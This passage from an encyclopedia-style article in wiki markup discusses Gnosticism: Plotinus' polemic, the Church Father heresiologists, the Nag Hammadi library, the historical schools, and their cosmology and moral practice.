The general tendency to view the text much as Porphyry's titles &amp;ndash; both the abbreviated and the lengthier versions &amp;ndash; summarize it has recently come under challenge, as to do so makes several assumptions.  Doubts concerning the accuracy of the abbreviated title in reflecting the text's central intentions might arise, especially when it is considered that the word 'Gnostic' is very seldom encountered in the text itself.  For example, in [[A.H. Armstrong]]'s translation of ''The Enneads'', 'Gnostic' occurs only eleven times in the tractate in question, often as editorial emendations for neutral phrases such as 'they' (''αύτούς'') or 'the others' (''των αλων'').  Thus, it is only through a historical assumption of correspondence that Porphyry's description of the tract becomes evidence for its direction against any Gnostic sect, as they are understood by modern scholarship.

Morton Smith has hypothesized that Porphyry was influenced in his chosen title by the success of [[Irenaeus]]' ''[[Adversus Haereses]]'', which was well known in [[Rome]] at the time; Porphyry thus appropriated the form of the title to describe a schismatic group, though recalling the [[#The Platonist and Aristotelian traditions|discussion above]], it would be likely that Porphyry would understand 'Gnostic' in a Platonist context, rather than a Christian one.  In any case, it is less and less certain that Plotinus was addressing a group recognizable as Gnostic by modern standards, and more plausible that a wider category of opponents was intended (though this wider category itself might include Gnostic sects; they are simply not exclusively addressed).  The description of his opponent's libertinism, for example, does not sit well with the overwhelming evidence of Gnosticism being a predominantly [[ascetism|ascetic]] tradition (see [[#Moral and ritual practise|below]]).  Michael Williams has pointed out that Plotinus arrives at this conclusion of libertinism by a process of ‘rhetorical magic’, rather than ‘direct observation’ (Michael Allen Williams, ''Rethinking “Gnosticism”: An Argument for Dismantling a Dubious Category'', [[Princeton, New Jersey|Princeton]], [[New Jersey|NJ]], [[1996]]), 178): observing that ultimately only two moral choices pertain &amp;ndash; either dedicating oneself to bodily pleasure or to the pursuit of virtue &amp;ndash; Plotinus reasons that, since his opponents appear uninterested in the operations of virtue, they must therefore despise 'all the laws of the world'.  

It is useful to retain knowledge of Plotinus’ objectives in this treatise.  He does not address the Gnostics at large, stating that such a thing would be futile ‘for we could make no further progress toward convincing them’ (Ennead II.9.x, 265), but rather directs his arguments to his ‘intimate pupils’.  Thus the accusations of libertinism are not necessarily observations of Gnostic behaviour ''per se'', but are rather hypotheses extrapolated from his opponent's apparently neglectful attitude to virtue.  One might compare the ‘rhetorical subterfuge’ of Irenaeus in ''Adversus Haereses'': he creates a dilemma upon the horns of which he claims his opponents are caught, forcing them to accept one of ‘two equally unacceptable alternatives’ (Denis Minns, ''Irenaeus'', [[London]]: Geoffrey Chapman, [[1994]], 26).  Thus, by trapping his pupils within such a dilemma, Plotinus hopes to convince them of the inferiority of the learnings by which they have been corrupted.

It may be noted that several of Plotinus' criticisms of his opponents are as applicable to orthodox Christianity as they are to Gnosticism (Introductory Note to ‘Against the Gnostics’ in Plotinus, ''Enneads'', trans. A.H. Armstrong, [[Cambridge, Massachusetts|Cambridge]], [[Massachusetts|MA]]: [[Harvard University|Harvard University Press]], [[1966]], 221); for example, several of the ideas criticized by Plotinus may be discerned in the theoretic of [[Clement of Alexandria]] (whom, it might be remembered, referred to Christian faith as the pursuit of 'gnosis' in his ''[[Stromateis]]'', VII.xli).  Previously, this has been taken as a matter of coincidence, inevitable given the close relationship of the traditions in question.  Yet with the calling into doubt of the intended recipients of the tractate, and the gradual recognition of the essential ''fluidity'' of the boundaries between early orthodoxy and Gnosticism, this too has been brought into question.  As such, a number of scholars, such as [[Christos Evangeliou]], have forwarded the theory that Plotinus was not addressing the Gnostics alone, but that a much broader critique of early Christianity was his intention, the which critique naturally included Christian Gnostic sects.

==Sources==
===Heresiologists and Gnostic detractors===
Prior to the discovery of the Nag Hammadi library in [[1945]] (arguably until its translation and eventual publication in [[1977]]), Gnosticism was known primarily only through the works of [[heresiologist|heresiologists]], [[Church Fathers]] who worked to chronicle those movements perceived to be deviating from the developing [[orthodox]] church, and to refute their teachings as they did so, with the ultimate aim of demonstrating their moral inferiority.  The problems with such sources are immediately apparent: given the avowed antagonism of such writers to that which they reported, could they be trusted to maintain accuracy, despite their [[bias]].  Despite such concerns, and the tendency of heresiologists to summarize rather than reproduce Gnostic sources, they remained almost the only material available for analysis. 

The list below briefly details the works of several of the more significant of the heresiologists; however, the list could be expanded to contain [[Origen]], [[Clement of Alexandria]], [[Epiphanes (gnostic)|Epiphanius]] of [[Salamis]], and others.  The analytical tactics employed by each heresiologist will also be given, where possible. 

====Justin====
[[Justin Martyr]] (''[[circa|ca.]]'' [[100]]/[[114]] &amp;ndash; ''[[circa|ca.]]'' [[162]]/[[168]]), the early Christian [[apologist]], wrote the ''First Apology to [[Roman Emperor]] [[Antoninus Pius]]'', which mentions his lost 'Compendium Against the Heretics', a work which reputedly reports on the activities of [[Simon Magus]], [[Menander]] and [[Marcion]]; since this time, both Simon and Menander have been considered as 'proto-Gnostic' (Markschies, ''Gnosis'', 37).  Despite this paucity of surviving texts Justin Martyr remains a useful historical figure, as he allows us to determine the time and context in which the first gnostic systems arose.

====Irenaeus====
Irenaeus' central work, which was written ''[[circa|ca.]]'' [[180]]-[[185]] [[AD]], is commonly known by the [[Latin]] title ''[[Adversus Haereses]]'' ('Against the Heretics').  The full title is ''Conviction and Refutation of Knowledge So-Called'', and it is collected in five volumes.   The work is apparently a reaction against Greek merchants who were apparently conducting an oratorial campaign concerning a quest for knowledge within Irenaeus' [[Gaul|Gaulish]] [[bishopric]].

Irenaeus' general approach in ''Adversus Haereses'' was to identify [[Simon Magus]] from [[Flavia Neapolis]] in [[Samaria]] (modern-day [[Palestine]]) as the inceptor of Gnosticism, 'its source and root' (''Adversus Haereses'', I.22.2).  From there he charted an apparent spread of the teachings of Simon through the ancient 'knowers', as he calls them, into the teachings of Valentinus and other, contemporary Gnostic sects.  This understanding of the transmission of Gnostic ideas, despite Irenaeus' certain antagonistic bias, is often utilized today, though it has been criticized.

Against the teachings of his opponents, which Irenaeus presented as confused and ill-organized, Irenaeus recommended a simple faith that all could follow, 'oriented on the criterion of truth that had come down in the church from the apostles to those in positions of responsibility' (Markschies, ''Gnosis'', 30-31).  Therefore Irenaeus' work might justifiably be seen as an early attempt by a Christian writer to posit the idea of a fully-formed orthodoxy transmitted from the apostles directly after Christ's death and which in support possesses a rigorously-defined hierarchical authority.  From such a stable and superior authority heresies according divide by deviation from the norm it maintains, rather than developing alongside it by alternate yet related lines.

====Hippolytus====
[[Hippolytus (writer)|Hippolytus]] was an early Christian writer elected as the first [[Antipope]] in [[217]].  He died as a [[martyr]] in [[235]].  He was known for his polemical works against the Jews, pagans and heretics; the most important of these being the seven-volume ''Refutatio Omnium Haeresium'' ('Refutation Against all Heresies'), of which only fragments are known.  

Of all the groups reported upon by Hippolytus, thirty-three are considered Gnostic by modern scholars, including 'the foreigners' and 'the [[Seth]] people'.  As well as this, Hippolytus presents individual teachers such as Simon, [[Valentinus]], [[Secundus]], [[Ptolemy]], [[Heracleon]], [[Marcus]] and [[Colorbasus]]; however, he rarely reproduces sources, instead tending only to report titles.  Also of interest, a sect known to Hippolytus as the '[[Naasenes]]' frequently ''called themselves'' 'knowers': 'They take [their] name from the Hebrew word snake.  Later they called themselves knowers, since they claimed that they alone knew the depths of wisdom' (''Refutatio'', V.6.3f). 

Hippolytus considered the groups he surveyed to have become involved in Greek philosophy to their detriment.  They had grievously misunderstood its foundations and thus had arrived at illogical constructions, through its influence becoming hopelessly confused (Markschies, ''Gnosis'', 33).

====Tertullian====
[[Tertullian]] (Quintus Septimius Florens Tertullianus, ''[[circa|ca.]]'' [[155]]–[[230]]) was a prolific writer from [[Carthage]], the region that is now modern [[Tunisia]].  He wrote a text entitled ''Adversus Valentinianos'' ('Against the Valentinians'), ''[[circa|ca.]]'' [[206]], as well as five books around [[207]]-[[208]] chronicling and refuting the teachings of [[Marcion]].

===Gnostic texts preserved before 1945===
Prior to the discovery at Nag Hammadi, only the following texts were available to students of Gnosticism.  Reconstructions were attempted from the records of the heresiologists, but these were necessarily coloured by the motivation behind the source accounts (see [[#Heresiologists and Gnostic detractors|above]]).

*Works preserved by the Church:
** ''[[Acts of Thomas]]'' (Especially ''[[The Hymn of the Pearl]]'' and ''[[The Hymn of the Robe of Glory]]'')
** ''The [[Acts of John]]'' (Especially ''[[The Hymn of Jesus]]'')
*The [[Askew Codex]] ([[British Museum]], bought in [[1784]]):
** ''[[Pistis Sophia]]: Books of the Savior''
*The [[Bruce Codex]] (discovered by [[James Bruce]]):
**''[[Books of Jeu|The Gnosis of the Invisible God]]'' or ''The [[Books of Jeu]]''
**''[[The Untitled Apocalypse]]'' or ''[[The Gnosis of the Light]]''
*The [[Berlin Codex]] or The Akhmim Codex (found in [[Akhmim]], [[Egypt]]):
** ''[[The Gospel of Mary]]''
** ''The [[Acts of Peter]]''
** ''[[The Sophia of Jesus Christ|The Wisdom of Jesus Christ]]''
*Unknown origin:
** ''[[Secret Gospel of Mark|The Secret Gospel of Mark]]''
** ''The [[Hermetica]]''

===The Nag Hammadi library===
[[Image:Kodeks IV NagHammadi.jpg|thumb|300px|right|The [[Nag Hammadi library]] is a collection of [[Early Christianity|early Christian]] [[Gnostic]] texts discovered in the [[Egypt|Egyptian]] town of [[Nag Hammadi]] in [[1945]].]]For a complete list of the texts found at Nag Hammadi, please see the [[Nag Hammadi library#Complete list of codices found in Nag Hammadi|list in the Nag Hammadi article]]; to see a list showing which texts were attached to the different Gnostic schools, see [[#Major Gnostic schools and their texts|below]].

The Nag Hammadi library is a collection of [[Early Christianity|early Christian]] [[Gnostic]] texts discovered near the town of [[Nag Hammadi]], [[Egypt]] in [[1945]]. The writings in these codices comprised fifty-two mostly Gnostic [[treatise|tractates]]; they also include three works belonging to the ''[[Hermetica|Corpus Hermeticum]]'' and a partial translation of [[Plato]]'s [[Plato's Republic|''Republic'']]. The codices are currently housed in the [[Coptic Museum]] in [[Cairo, Egypt]]. 

Though the original language of composition was probably [[Greek language|Greek]], the various codices contained in the collection were written in [[Coptic language|Coptic]].  A [[1st century|1st]] or [[2nd century]] date of composition for the lost Greek originals has been proposed, though this is disputed; the manuscripts themselves date from the [[3rd century|3rd]] and [[4th century|4th]] centuries. 

For a full account of the [[Nag Hammadi library#Discovery at Nag Hammadi|discovery]] and [[Nag Hammadi library#Translation|translation]] of the Nag Hammadi library (which has been described as 'exciting as the contents of the find itself' (Markschies, ''Gnosis: An Introduction'', 48)) see the [[Nag Hammadi library]] article.

====Significance of the Nag Hammadi library====
Prior to the publication of the translations of Nag Hammadi the only available sources for gnostic material were, as has been noted, heresiological writings.  These suffered from a number of difficulties, not least the antagonistic bias the writers held towards gnostic teachings.  Several heresiological writers, such as Hippolytus, made little effort to exactly record the nature of the [[sect|sects]] they reported on, or transcribe their sacred texts, but instead gave us only titles and extended commentaries on their perceived heretical mistakes.  Reconstructions were attempted from the available evidence, but the resulting portraits of gnosticism and its central texts were necessarily crude, and deeply suspect.  The ability to overcome such problems provided by the Nag Hammadi codices need hardly be noted.

Of greatest difficulty was the fact that, prior to the publication of the codices, theological investigators, in order to proceed, could not help but to subscribe at least in part to the view of the heresiologists that gnosticism marked a heretical deviation from a fully-formed orthodox Christianity in the three centuries immediately following Christ's death.  The availability of original texts not only allowed an unsullied transmission of gnostic ideas, but also demonstrated the fluidity of early Christian scripture and, by extension, Christianity itself.  As Layton notes 'the lack of uniformity in ancient Christian scripture in the early period is very striking, and it points to the substantial diversity within the Christian religion' (Layton, ''The Gnostic Scriptures'', xviii).  

Thus, although it is still correct to speak of early Christianity as a single tradition, it is also a complex network of competing sects and individual parties, which express their contrasting natures through differences in their scriptural interests.  These differences may have arisen as much from differences in [[culture|cultural]], [[linguistics|linguistic]] and [[social]] milieus, the coexistence of essentially different theological conceptions of [[Jesus Christ|Jesus]], as well as the differences in the philosophical or symbolic systems in which early Christian writers might express themselves.  As such, the Nag Hammadi library offers a glimpse of the set of circulating texts that would have been of interest within a 'Gnostic' community (rather than as a gnostic ''[[wiktionary:canon|canon]]'' in and of itself) and thus potentially provides an insight into the gnostic mind itself.

It was with the [[Council of Nicaea]] in [[325]] (convened during the reign of the [[Constantine I (emperor)|Emperor Constantine]]; [[272]]&amp;ndash;[[337]]) and the [[Synods of Carthage|3rd Synod of Carthage]] in [[397]], which progressively cemented Christianity as the officially sanctioned religion of the [[Roman Empire]], that a structurally coherent and crystallized form of orthodox Christianity began to emerge.  Central to the formation of orthodoxy was the creation of a binding and coherent scriptural 'canon', which was to be strictly observed by the adherents of that church.  The Nag Hammadi library offers an intriguing source of texts whose intended ''exclusion'' as much drove the formation of the orthodox canon as did the desire to include certain other texts, now well-known.  'Orthodox Christian doctrine of the ancient world - and thus of the modern church - was partly conceived of as being what gnostic scripture was ''not''' (Layton, ''The Gnostic Scriptures''; emphasis writer's own).  Thus a study of Gnostic scripture might also obliquely increase our knowledge of nascent orthodoxy, the intentions of the orthodox formulators, the effect of social setting on early Christian expression, and the Judaic foundations it rests upon.

==History==
===The development of the Syrian-Egyptian school===
[[Bentley Layton]] has sketched out a relationship between the various gnostic movements in his introduction to ''The Gnostic Scriptures'' (SCM Press, London, [[1987]]).  In this model, 'Classical Gnosticism' and 'The School of Thomas' antedated and influenced the development of [[Valentinus]], who was to found his own school of Gnosticism in both [[Alexandria]] and [[Rome]], whom Layton called 'the great [Gnostic] reformer' and 'the focal point' of Gnostic development.  While in Alexandria, where he was born, Valentinus probably would have had contact with the Gnostic teacher [[Basilides]], and may have been influenced by him.  

Valentinianism flourished throughout the early centuries of the common era: while Valentinus himself lived from ''[[Circa|ca]]''. [[100]]&amp;ndash;[[175]] [[Common Era|CE]], a list of sectarians or heretics, composed in [[388]] [[Common Era|CE]], against whom Emperor Constantine intended legislation includes Valentinus (and, presumably, his inheritors).  The school is also known to have been extremely popular: several varieties of their central myth are known, and we know of 'reports from outsiders from which the intellectual liveliness of the group is evident' (Markschies, ''Gnosis: An Introduction'', 94).  It is known that Valentinus' students, in further evidence of their intellectual activity, elaborated upon the teachings and materials they received from him (though the exact extent of their changes remains unknown), for example, in the version of the Valentinian myth brought to us through [[Ptolemy]].

Valentinianism might be described as the most elaborate and philosophically 'dense' form of the Syrian-Egyptian schools of Gnosticism, though it should be acknowledged that this in no way debarred other schools from attracting followers: Basilides' own school was popular also, and survived in [[Egypt]] until the 4th century.

Simone Petrement, in ''A Separate God'', in arguing for a Christian origin of Gnosticism, places Valentinus after Basilides, but before the Sethians. It is her assertion that Valentinus represented a moderation of the anti-Judaism of the earlier Hellenized teachers; the demiurge, widely regarded to be a mythological depiction of the Old Testament God of the Hebrews, is depicted as more ignorant than evil. (See below.)  

[[Image:Manicheans.jpg|thumb|250px|Manichean priests writing at their desks, with panel inscription in [[Sogdian language|Sogdian]]. Manuscript from Khocho, [[Tarim Basin]].]]

===The development of the Persian school===
An alternate heritage is offered by [[Kurt Rudolph]] in his book ''Gnosis: The Nature &amp; Structure of Gnosticism'' (Koehler and Amelang, [[Leipzig]], [[1977]]), to explain the lineage of Persian Gnostic schools.  The decline of [[Manicheism]] that occurred in Persia in the 5th century [[Common Era|CE]] was too late to prevent the spread of the movement into the east and the west.  In the west, the teachings of the school moved into [[Syria]], [[Arabia|Northern Arabia]], [[Egypt]] and [[Africa|North Africa]] (where [[Augustine]] was a member of school from [[373]]-[[382]]); from Syria it progressed still farther, into [[Palestine]], [[Asia Minor]] and [[Armenia]].  There is evidence for Manicheans in Rome and [[Dalmatia]] in the 4th century, and also in [[Gaul]] and [[Spain]].  The influence of Manicheanism was attacked by imperial elects and polemical writings, but the religion remained prevalent until the 6th century, and still exerted influence in the emergence of the [[Paulicians]], [[Bogomil]]s and [[Cathars|Cathari]] in the middle ages.  

In the east, Rudolph relates, Manicheanism was able to bloom, given that the religious monopoly position previously held by Christianity and [[Zoroastrianism]] had been broken by nascent [[Islam]].  In the early years of the Arab conquest, Manicheanism again found followers in Persia (mostly amongst educated circles), but flourished most in [[Central Asia]], to which it had spread through Iran.  Here, in [[762]], Manicheanism became the state religion of the [[Uigar Empire]].  From this point Manichean influence spread even further into Central Asia, and according to Rudolph its influence may be detected in [[Tibet]] and [[China]], where it was strongly opposed by [[Confucianism]], and its followers were subject to a number of bloody repressions.  Rudolph reports that despite this suppression Manichean traditions are reputed to have survived until the 17th century (based on the reports of [[Portugal|Portuguese]] sailors).

==Nature and Structure of Gnosticism==
===A typological model: the main features of gnosticism===
Though difficulties have arisen in offering a definitive, categorical definition of Gnosticism (see [[#'Gnosticism' as a potentially flawed category|below]]), various strategies have been employed in overcoming the problem, with varying degrees of success.  It is therefore appropriate to offer a typological model of those ancient philosophical movements typically called Gnostic; the model offered is adapted from [[Christoph Markschies]]' version, as described in ''Gnosis: An Introduction''.

Gnostic systems are typically marked by:

#The notion of a remote, supreme and unknowable [[monad|monadic]] divinity - this figure is known under a variety of names, including '[[Pleroma]]' and '[[Bythos]]' (Greek 'deep');
#The introduction by emanation of further divine beings, which are nevertheless identifiable as aspects of the God from which they proceeded; the progressive emanations are often conceived metaphorically as a gradual and progressive distancing from the ultimate source, which brings about an instability in the fabric of the divine nature;
#The subsequent identification of the fall as an occurrence within divinity itself, rather than as occurring entirely through human agency; this stage in the divine emanation is usually enacted through the recurrent Gnostic figure of [[Sophia]] (Greek 'Wisdom'), whose presence in a wide variety of Gnostic texts is indicative of her central importance;
#The introduction of a distinct creator god, who is named as in the Platonist tradition ''demiurgos''.&lt;br&gt;Evidence exists that the conception of the [[demiurge]] has derivation from figures in Plato's ''[[Timaeus]]'' and ''[[Republic]]''.  In the former, the demiurge is the benevolent creator of the universe from pre-existent matter, to whose limitations he is enthralled in creating the cosmos; in the latter, the description of the leontomorphic 'desire' in [[Socrates]]' model of the [[psyche]] bears a strong resemblance to descriptions of the demiurge as being in the shape of the lion.&lt;br&gt;Elsewhere this figure is called '[[Demiurge|Ialdabaoth]]', 'Samael' ([[Aramaic]] ''sæmʕa-ʔel'', 'blind god') or 'Saklas' ([[Syriac]] ''sækla'', 'the foolish one'), who is sometimes ignorant of the superior God, and sometimes opposed to it; thus in the latter case he is correspondingly malevolent.&lt;br&gt;The demiurge typically creates a group of coactors named '[[Archons]]', who preside over the material realm and, in some cases, present obstacles to the soul seeking ascent from it;
#The estimation of the world, owing to the above, as flawed or a production of 'error' but nevertheless as good as its constituent material might allow, or in certain cases as evil and constrictive, a deliberate prison for its inhabitants;
#The explanation of this state through the use of a complex mythological-cosmological drama in which a divine element 'falls' into the material realm and lodges itself within certain human beings; from here, it may be returned to the divine realm through a process of awakening.  It may be noted that  the salvation of the individual thus mirrors a concurrently restoration of the divine nature; a central Gnostic innovation was to elevate individual redemption to the level of a cosmically significant event;
#Knowledge of a specific kind as a central factor in this process of restoration, achieved through the mediation of a redeemer figure ([[Christ]], or, in other cases, [[Seth]] or [[Sophia]]).

It may be noted that the model limits itself to describing characteristics of the [[#Major gnostic schools and their texts|Syrian-Egyptian]] school of Gnosticism.  This is for the reason that the greatest expressions of the [[#Major gnostic schools and their texts|Persian gnostic school]] - [[Manicheanism]] and [[Mandaeanism]] - are typically conceived of as religious traditions in their own right (extensive articles exist for both on Wikipedia); indeed, the typical usage of 'Gnosticism' is to refer to the Syrian-Egyptian schools alone, while 'Manichean' describes the movements of the Persia school.

It should be noted also that the conception of Gnosticism offered above has recently been challenged by Michael Allen William's groundbreaking work 'Rethinking Gnosticism', which re-examines the common conception of categorical 'Gnosticism' in an effort to demonstrate the somewhat nebulous nature of the term (see [[#'Gnosticism' as a potentially flawed category|below]]).  Despite this, the understanding presented above remains in common usage, and retains at least ''some'' usefulness in aiding meaningful discussion of the phenomena that compose Gnosticism, even if the extent of that usefulness is in doubt.

===Dualism and monism===
Typically, Gnostic systems are loosely described as being 'dualistic' in nature.  Within this definition, they run the gamut from the 'extreme' or 'radical dualist' systems of Manicheanism to the 'weak' or 'mediated dualism' of classic gnostic movements; Valentinian developments arguably approach a form of [[monism]], expressed in terms previously used in a dualistic manner.

* '''Radical dualism''' - Manichaeism conceives of two previously coexistent realms of light and darkness which become embroiled in conflict, owing to the chaotic actions of the latter.  Subsequently, certain elements of the light became entrapped within darkness; the purpose of material creation is to enact the slow process of extraction of these individual elements, at the end of which the kingdom of light will prevail over darkness. Manicheanism likely inherits this dualistic mythology from [[Zoroastrianism]], in which the eternal spirit [[Ahura Mazda]] is opposed by his antithesis, [[Angra Mainyu]]; the two are engaged in a cosmic struggle, the conclusion of which will likewise see Ahura Mazda triumphant.&lt;br&gt;The Mandaean creation myth witnesses the progressive emanations of Supreme Being of Light, with each emanation bringing about a progressive corruption resulting in the eventual emergence of [[Ptahil]], the god of darkness who had a hand in creating and henceforward rules the material realm.  
* '''Mediated dualism''' - such classical Gnostic movements as the Sethians conceived of the material world as being created by a lesser divinity than the true God that was the object of their devotion.  The spiritual world is conceived of as being radically different from the material world, co-extensive with the true God, and the true home of certain enlightened members of humanity; thus, these systems were expressive of a feeling of acute alienation within the world, and their resultant aim was to allow the soul to escape the constraints presented by the physical realm.
* '''Monism''' - elements of Valentinian versions of Gnostic myth suggest that its understanding of the universe was a monistic rather than a dualistic one: 'Valentinian gnosticism [...] differs essentially from dualism' ([[Elaine Pagels]], ''The Gnostic Gospel'', [[1978]]); 'a standard element in the interpretation of Valentinianism and similar forms of Gnosticism is the recognition that they are fundamentally monistic' (William Schoedel, 'Gnostic Monism and the Gospel of Truth' in ''The Rediscovery of Gnosticism, Vol.1: The School of Valentinus'', edited by Bentley Layton, E.J.Brill, Leiden, [[1980]]).  In these myths, the malevolence of the demiurge is mitigated; his creation of a flawed materiality is not due to any moral failing on his part, but due to his honest ignorance of the superior spiritual world above him.  As such, Valentinians already have more cause to treat physical reality with less contempt than might a Sethian Gnostic.&lt;br&gt;Perhaps for this reason Valentinus appears to conceive of materiality, rather than as being a separate substance from the divine, as attributable to an ''error of perception''; the physical universe is not characterised as being distinct from the Pleroma, but as being ''contained within it''.  Thus it follows that the Valentinian conception of the universe is of a fundamentally  monistic nature, in which all things are aspects of the divine; our apprehension of a distinct material realm is owing to our errors of perception, which become symbolized mythopoetically as the demiurge's act of creation.

===Moral and ritual practise===
Evidence in the source texts indicates Gnostic moral behaviour as being overwhelmingly [[asceticism|ascetic]] in basis, expressed most fluently in their sexual and dietary practise.  This presented a problem for the heresiologists writing on gnostic movements: as this mode of behaviour was one which they themselves favoured and supported, the Church Fathers, it seemed, would be required perforce to offer support to the practices of their theological opponents.  In order to avoid this, a common heresiological approach was to avoid the issue completely by resorting to slanderous (and, in some cases, excessive) allegations of [[libertinism]], or to explain Gnostic asceticism as being based on incorrect interpretations of scripture, or simply duplicitous in nature.  [[Epiphanes (gnostic)|Epiphanius]] provides an example when he writes of the 'Archontics' 'Some of them ruin their bodies by dissipation, but others feign ostensible fasts and deceive simple people while they pride themselves with a sort of [[abstinence]], under the disguise of monks' (''[[Panarion]]'', 40.1.4).  Thus it might be noted that moral asceticism provides a point of cohesion and co-development between orthodox Christianity and Gnostic Christianity which the Church Fathers sought to downplay.

In other areas of morality Gnostics were less rigorously ascetic, and took a more moderate approach to correct behaviour.  Ptolemy's ''Epistle to Flora'' lays out a project of general asceticism in which the basis of action is the moral inclination of the individual: 

:External physical fasting is observed even among our followers, for it can be of some benefit to the soul if it is engaged on with reason (''[[logos]]''), whenever it is done neither by way of limiting others, nor out of habit, nor because of the day, as if it had been specially appointed for that purpose.

This extract marks a definite shift away from the position of orthodoxy, that the correct behaviour for Christians is best administered and prescribed by the central authority of the church, as transmitted through the apostles.  Instead, the internalised inclination of the individual assumes paramount importance; there is the recognition that ritualistic behaviour, though well-intentioned, possesses no significance or effectiveness unless its external prescription is matched by a personal, internal motivation.

Charges of Gnostic libertinism arguably find their source in the works of Irenaeus.  According to this writer, Simon Magus (whom he has identified as the prototypical source of Gnosticism) founded the school of moral freedom ('[[amorality|amoralism]]').  Irenaeus reports that Simon's argument, that those who put their trust in him and his consort Helen, need trouble themselves no further with the biblical prophets or their moral exhortations and are free 'to do what they wish', as men are saved by his (Simon's) grace, and not by their 'righteous works' (adapted from ''Adversus Haereses'', I.23.3).  

It should be noted that Simon is not known for any libertinistic practice, save for his curious attachment to Helen, a prostitute.  There is, however, clear evidence in the [[Testimony of Truth]] that followers of Simon did, in fact, get married and beget children, so a general tendency to asceticism can likewise be ruled out.  Irenaeus reports of the Valentinians, whom he characterizes as eventual inheritors of Simon, that they are lax in their dietary habits (eating food that has been 'offered to idols'), sexually promiscuous ('immoderately given over to the desires of the flesh') and guilty of taking wives under the pretence of living with them as adopted 'sisters'.  In the latter case, Michael Allen Williams has argued plausibly that Irenaeus was here broadly correct in the behaviour described, but not in his apprehension of its causes.  Williams argues that members of a cult might live together as 'brother' and 'sister': intimate, yet not sexually active.  Over time, however, the self-denial required of such an endeavour becomes harder and harder to maintain, leading to the state of affairs Irenaeus criticizes.  Irenaeus also makes reference to the Valentinian practise of [[the Bridal Chamber|Bridal Chamber]], a ritualistic [[sacrament]] in which sexual union is seen as analogous to the activities of the paired [[syzygy|syzygies]] that constitute the Valentinian [[Pleroma]]; though it is known that Valentinus had a more relaxed approach to sexuality than much of the orthodox church (he allowed women to hold positions of ordination in his community), it is not known whether the Bridal Chamber was a ritual involving actual intercourse, or whether human sexuality is here simply being used in a metaphorical sense.

Of the [[Carpocratians]] Irenaeus makes much the same report: they 'are so abandoned in their recklessness that they claim to have in their power and be able to practise anything whatsoever that is ungodly (irreligious) and impious ... they say that conduct is only good or evil in the eyes of man' (''Adversus Haereses'', I.25.4).  Once again a differentiation might be detected between a man's actions and the grace he has received through his adherence to a system of ''gnosis''; whether this is due to a common sharing of such an attitude amongst Gnostic circles, or whether this is simply a blanket-charge used by Irenaeus is open to conjecture.

On the whole, it would seem that Gnostic behaviour tended towards the ascetic.  This said, the heresiological accusation of duplicity in such practises should not be taken at face value; nor should similar accusations of amoral libertinism.  The Nag Hammadi library itself is full of passages which appear to encourage abstinence over indulgence.  Fundamentally, however, gnostic movements appear to take the 'ancient schema of the two ways, which leaves the decision to do what is right to human endeavour and promises a reward for those who make the effort, and punishment for those who are negligent' (Kurt Rudolph, ''Gnosis: The Nature and Structure of Gnosticism'', 262).

===Major Gnostic schools and their texts===
As noted [[#History|above]], schools of Gnosticism are defined as being a member of one of two broad categories.  These are the 'Eastern' or 'Persian' school, and a 'Syrian-Egyptic' school. The former possesses more demonstrably dualist tendencies; their myths display a more definitive division between light and darkness; creation is typically witnessed as being the result of an interaction between the realms of light and darkness; finally, though the two competing forces are seen somewhat as equivalent in capacity, the ultimate object of the process of creation is to assure the victory of the forces of light (see [[#Dualism and monism|Dualism and monism]]).

The Syrian-Egyptian school, by contrast, derives its nature from its [[platonism|Platonist]] influences. Typically, it depicts creation in a series of emanations from a primal monadic source, finally resulting in the creation of the material universe; as a result, there is a tendency in these schools to view material 'evil', rather than as a force equal to immaterial 'goodness', as something markedly ''inferior'' to it.  Indeed, these schools of gnosticism may be said to use the terms 'evil' and 'good' as being ''relative'' descriptive terms, with the former indicating the extremes of distance from the principle and source of goodness, without necessitating its ''inherent'' negativity.

*'''Persian Gnostics'''
**''[[Mandaeanism]]'' which is still practised in small numbers, in parts of southern [[Iraq]] and the Iranian province of [[Khuzestan]];
**''[[Manichaeism]]'' which represented an entire independent religious heritage, but is now extinct.  Both of these traditions differ from the Syrian-Egyptian schools in that they contain no overt Christian elements.

*'''Syrian-Egyptic Gnostics'''
** ''Classical Gnostic Scripture'', sometimes referred to as [[Sethian]] gnosticism, for its common reference to [[Seth]], the third son of Adam and Eve, as being possessor and disseminator of special knowledge.  Many texts have been attributed to this school, including those following:
*** ''[[Apocryphon of John|The Secret Book According to John]]''
*** ''[[Apocalypse of Adam|The Revelation of Adam]]''
*** ''[[The Reality of the Rulers]]''
*** ''[[The Thunder Perfect Mind|The Thunder-Perfect Intellect]]''
*** ''[[Trimorphic Protennoia|First Thought in Three Forms]]''
*** ''[[Coptic Gospel of the Egyptians|The Holy Book of the Great Invisible Spirit]]'', or, the ''[[Coptic Gospel of the Egyptians|Egyptian Gospel]]''
*** ''[[Zostrianos]]''
*** ''[[The Foreigner]]''
*** ''[[The Three Tablets of Seth]]''
**The ''[[Thomas the Apostle|Thomasine]]s'', or the ''School of St. [[Thomas the Apostle]]''; once again, many gnostic texts are attributable to this school:
***''[[The Hymn of the Pearl]]'', or, the ''[[Hymn of the Pearl|Hymn of Jude Thomas the Apostle in the Country of Indians]]''
***''[[The Gospel According to Thomas]]''
***''[[Book of Thomas|The Book of Thomas: The Contender Writing to the Perfect]]''
**The ''[[Valentinians]]'', in reference to the Christian teacher [[Valentinius]] ([[Circa|ca.]] [[100]]&amp;ndash;[[Circa|ca.]] [[153]] [[Common Era|CE]]), better known as 'Valentinus', who developed one of the complex cosmologies to be found in gnosticism, outside the Sethian tradition. Valentinus was, for a time, the most successful Christian gnostic thinker.  Several texts are attributable to him, and to his followers (texts written by Valentinus himself are, in the main, fragmentary; here they are marked with an '*'):
***''[[The Divine Word Present in the Infant]]'' (Fragment A) *
***''[[On the Three Natures]]'' (Fragment B) *
***''[[Adam's Faculty of Speech]]'' (Fragment C) *
***''[[To Agathopous: Jesus' Digestive System]]'' (Fragment D) *
***''[[Annihilation of the Realm of Death]]'' (Fragment F) *
***''[[On Friends: The Source of Common Wisdom]]'' (Fragment G) *
***''[[Epistle on Attachments]]'' (Fragment H) *
***''[[Summer Harvest]]''*
***''[[Gospel of Truth|The Gospel of Truth]]''*
***''[[Ptolemy's Version of the Gnostic Myth]]''
***''[[A Prayer of Paul the Apostle]]''
***''[[Ptolemy's Epistle to Flora]]''
***''[[Treatise on Ressurrection]]'' (''Epistle to Rheginus'')
***''[[The Gospel According to Philip]]''
**The ''[[Basilides|Basilidians]]'', named for the founder of their school, Basiledes ([[132]]&amp;ndash;? [[Common Era|CE]]), are mainly known through the summaries of Irenaeus' ''[[Adversus Haereses]]'' (see above), and through a series of fragments, found in the work of Clement of Alexandria:
